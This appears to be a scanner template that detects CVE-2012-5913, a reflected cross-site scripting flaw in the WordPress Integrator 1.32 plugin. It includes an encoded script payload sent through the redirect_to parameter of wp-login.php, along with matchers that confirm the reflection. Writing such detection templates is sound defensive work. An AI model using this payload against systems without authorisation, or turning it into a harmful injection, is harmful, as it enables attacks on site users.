id: CVE-2012-5913

info:
  name: WordPress Integrator 1.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update the WordPress Integrator plugin to the latest version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-5913
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-integrator-redirect_to-parameter-cross-site-scripting-1-32/
    - http://packetstormsecurity.org/files/111249/WordPress-Integrator-1.32-Cross-Site-Scripting.html
    - http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74475
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-5913
    cwe-id: CWE-79
    epss-score: 0.01458
    epss-percentile: 0.81088
    cpe: cpe:2.3:a:wordpress_integrator_project:wordpress_integrator:1.32:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "wordpress_integrator_project"
    product: "wordpress_integrator"
  tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,wordpress_integrator_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Wordpress Integrator'

  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</sCripT><sCripT>alert(document.domain)</sCripT>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ef931875cca8b59e39626fba3fc06e53375aff208c832f670d96f8b1b38d1ed022100f914e6d90e50683bd125215f8ca45a27ecc2683dace2e9bd3e441e1b2d99a17a:922c64590222798bb761d5b6d8e72950